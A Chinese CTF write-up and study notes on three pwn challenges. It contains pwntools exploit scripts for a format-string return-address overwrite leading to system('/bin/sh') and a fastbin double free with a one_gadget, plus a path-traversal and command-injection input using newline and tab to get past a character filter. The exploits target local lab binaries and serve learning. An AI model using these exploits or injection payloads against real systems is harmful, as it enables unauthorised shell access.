和哥几个打的这个比赛,虽然只做出了几道题,但是还有几道其实也都差不多了,思路都没问题,还是因为细节的问题,对原理的掌握不够深入导致的问题,还得再好好打基础和巩固.
fooooood 这道格式化字符串题给自己整的太恶心了..主要是很久不做格式化字符串了,然后当时理解的没那么深入,有些小问题就卡死了…
非栈上的格式化字符串利用, 看到一种方法是可以利用栈上已有的指针,当时也用了,不过不知道为什么利用格式化字符串写数据的时候有问题….回头再专门学一下
这是一条可以利用的链
感觉自己的思路是没有问题的,但是对格式化字符串的一些利用的小点不是很熟悉,就导致了问题
exp 主要分了几部分,先把for循环的i改大一点,因为要循环很多次,然后还要地址泄露,再之后呢,写一个格式化字符串的替换函数,把返回地址修改了就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *context(os='linux' ,log_level='debug' ) libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6' ) io = process("./pwn" ) context.terminal = ['tmux' , 'splitw' , '-h' ] gdb.attach(io) io.recvuntil("Give me your name:" ) io.sendline("test" ) io.recvuntil("favourite food: " ) io.sendline("%11$p" ) io.recvuntil("You like " ) rsp = int (io.recvuntil('!?' )[:-2 ],16 )-248 print (hex (rsp))i = rsp+4 i_off = i&0xffff print (hex (i_off))payload = b'%' +str (i_off).encode()+b'c%11$hn' print (payload)io.sendlineafter('food: ' ,payload) payload = b'%' +str (40 ).encode()+b'c%37$hhn' sleep(1 ) io.sendlineafter('food: ' ,payload) payload = b'%9$p' io.sendlineafter('food: ' ,payload) io.recvuntil("You like " ) libc.address = int (io.recvuntil('!?' )[:-2 ],16 ) - 240 - libc.sym.__libc_start_main def overlap (dest,ptr,off1,off2 ): d = dest&0xff for i in range (8 ): if not ptr: break payload=b'%' +str (d).encode()+b'c%' +str (off1).encode()+b'$hhn' io.sendlineafter('food: ' ,payload) f=ptr&0xff payload=b'%' +str (f).encode()+b'c%' +str (off2).encode()+b'$hhn' io.sendlineafter('food: ' ,payload) d+=1 ptr>>=8 ret=rsp+0x18 ptr=libc.address+0x21112 payload = b'%' +str (ret&0xffff ).encode()+b'c%' +str (25 ).encode()+b'$hn' io.sendlineafter('food: ' ,payload) pause() overlap(ret,ptr,25 ,39 ) overlap(ret+8 ,libc.search(b'/bin/sh' ).__next__(),25 ,39 ) overlap(ret+16 ,libc.sym.system,25 ,39 ) io.sendlineafter('food: ' ,payload) io.interactive()
自己之前的exp..回头检查下是哪的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(os='linux' ,log_level='debug' ) mylibc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6' ) io = process("./pwn" ) context.terminal = ['tmux' , 'splitw' , '-h' ] gdb.attach(io) io.recvuntil("Give me your name:" ) io.sendline("test" ) io.recvuntil("favourite food: " ) io.sendline("%31$p.%21$p" ) io.recvuntil("You like " ) data = (io.recvline().strip()).decode().split('.' ) print (data)first_addr = int (data[0 ],16 ) print (hex (first_addr))payload = fmtstr_payload(31 ,{0x7fffff :0x7fffff }) print (payload)payload = b"%.26204x%30$n" io.recvuntil("favourite food: " ) io.sendline(payload) io.recvuntil("You like " ) pause() io.interactive()
存储备忘的信息
%10$p.%15$p.aaa
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x1ffffe540.0xc144e077e3cf5200.0x555555554b60.0x7ffff7a2d840.(nil).37
为什么不按顺序了…
0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x3ffffe540.0xb1fb67251108900.0x555555554b60.0x7ffff7a2d840.(nil).0x7fffffffe548test’
%12$p.%13$p.%14$p.%15$p.aaa
0x1f7ffcca0.0x555555554a67.(nil).0x7da3d3a4544d517e.aaa37
%16$p.%17$p.%18$p.%19$p.aaa
x555555554820.0x7fffffffe540.(nil).(nil).aaa
%20$p.%21$p.%22$p.%23$p.aaa
0x4f7197cdb841edfc.0x4f718777df51edfc.(nil).(nil).aaa
%24$p.%25$p.%26$p.%27$p.aaa
(nil).0x7fffffffe558.0x7ffff7ffe168.0x7ffff7de780b.aaa
%28$p.%29$p.%30$p.%31$p.aaa
(nil).(nil).0x555555554820.0x7fffffffe540.aaa
%32$p.%33$p.%34$p.%35$p.aaa
(nil).0x555555554849.0x7fffffffe538.0x1c.aaa
%36$p.%37$p.%38$p.%39$p.aaa
0x1.0x7fffffffe79c.(nil).0x7fffffffe7ba.aaa
0x7fffffffe388
0xffffe388
0xe388
11个位置 -0xd0
https://blog.csdn.net/qq_52877079/article/details/129756543
https://www.anquanke.com/post/id/184717
easynote 简单的一道菜单堆题,看的时候很眼熟很眼熟,果然是之前做过的,只是稍微改动
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
开启了pie,那就用largebin smallbin的main_arena来泄露地址,
这里有个小坑,就是接收返回地址的时候一直接收不到,注意这是因为先接收到了\n,用recv应该是接收到\n为止? 所以可以用多个recv或者recvuntil,
malloc有检测,回头分析源码的时候可以具体看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * elf = "./pwn" context.log_level= "debug" p = process(elf) #p = remote("node4.buuoj.cn" ,25350) context.terminal = ['tmux' , 'splitw' , '-h' ] #gdb.attach(p) def add(size,content): p.sendlineafter('5. exit' , '1' ) p.sendlineafter('The length of your content --->' , str(size)) p.sendlineafter('Content --->' , content) def edit(index, size,content): p.sendlineafter('5. exit' , '2' ) p.sendlineafter('Index --->' , str(index)) p.sendlineafter('The length of your content --->' , str(size)) p.sendlineafter('Content --->' , content) def show(index): p.sendlineafter('5. exit' , '4' ) p.sendlineafter('Index --->' , str(index)) def delete(index): p.sendlineafter('5. exit' , '3' ) p.sendlineafter('Index --->' , str(index)) add(0x30 ,"aaa" ) add(0x30 ,"bbb" ) delete(0 ) delete(1 ) delete(0 ) add(0x50 ,"xielu" ) add(0x100 ,"dizhi" ) # 3 泄露地址用 add(0x50 ,"hebing" ) # 防止合并 delete(3 ) show(3 ) p.recvuntil("Content: " ) libc_addr = u64(p.recv(6 ).ljust(8 ,b"\x00" )) - 0x3c4b78 print(hex(libc_addr)) # fastbin double free修改 add(0x30 ,p64(0x602022 )) add(0x30 ,"a" ) add(0x30 ,"b" ) #pause() add(0x30 ,b"\x40\x00\x00\x00\x00\x00" +p64(libc_addr+0x4527a )) p.interactive()
server 当时做的时候没想到栈的重叠的问题,单纯过滤肯定是没戏的.咋说捏,只会一些传统的套路是不行的,那只是基础,要在此之上更上一个纬度,看清事物的本质,学会变通才能应对更复杂的情况.
对此题的反思就是,首先还是基础,要打好基础,打好操作系统原理的基础,如果懂这个的话,估计其实很容易想到重叠的问题.然后再培养细心以及一些自动化工具帮你寻找类似的点.
思路一 access校验的长度有限,为32
1 2 3 4 5 6 7 snprintf (name, 0x20 uLL, "/keys/%s.key" , s);这个长度是27 ,加上/keys就是32 了 ../../../../../././bin/sh # /keys/../../../../../././bin/sh 最后access的是这个文件,肯定是存在的
然后就是命令拼接了,存在未初始化漏洞,栈上有残留数据
第二次输入个单引号就好了, \n也可以作为命令分隔符,所以前面那个add_user -u ‘’就是没用的了,直接执行后面的/bin/sh了
过滤 ; & ` | $ 空格 ( ) {} - / \
这个不用写脚本,
1 2 3 4 5 6 7 8 9 10 11 12 第一次选1 ,输入 ../../../../../././bin/sh # 然后选2 ,输入 ' 然后就闭合了,就可以getshell了 "add_user -u '%s' -p '888888'" ► 0x555555555748 call system@plt <system@plt> command: 0x7fffffffe410 ◂— "add_user -u ''\n/bin/sh #' -p '888888'"
思路二
这里也用到覆盖了,看exp就可以理解了,exp的12就是随便输入的,后面的’\n会替代
过滤的空格可以用\t替代
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *elf = "./pwn_7" context.log_level= "debug" p = process(elf) context.terminal = ['tmux' , 'splitw' , '-h' ] p.recvuntil("Your choice >>" ) p.sendline("1" ) p.recvuntil("Please input the key of admin : " ) p.sendline(b"../../../../../../../../../" ) print (p.recv())p.recvuntil("Your choice >>" ) p.sendline("2" ) p.recvuntil("Please input the username to add :" ) payload = b"xxcat\tfl*\n" p.sendline(payload) p.recv(1024 ) p.recv(1024 ) p.recvuntil("Your choice >>" ) p.sendline("2" ) p.recvuntil("Please input the username to add :" ) payload = b"'" p.sendline(payload) print (p.recv(1024 ))print (p.recv(1024 ))p.interactive()
能不能’cat\tfl*\n呢,不能呀,,需要有个\n,但是没有,也没有; 没有分隔符没办法执行两条命令,这个必须要\n的 \t不行吗,不行…….
https://blog.51cto.com/u_15400016/4287727
https://www.secpulse.com/archives/96374.html
问题 用recv应该是接收到\n为止? 所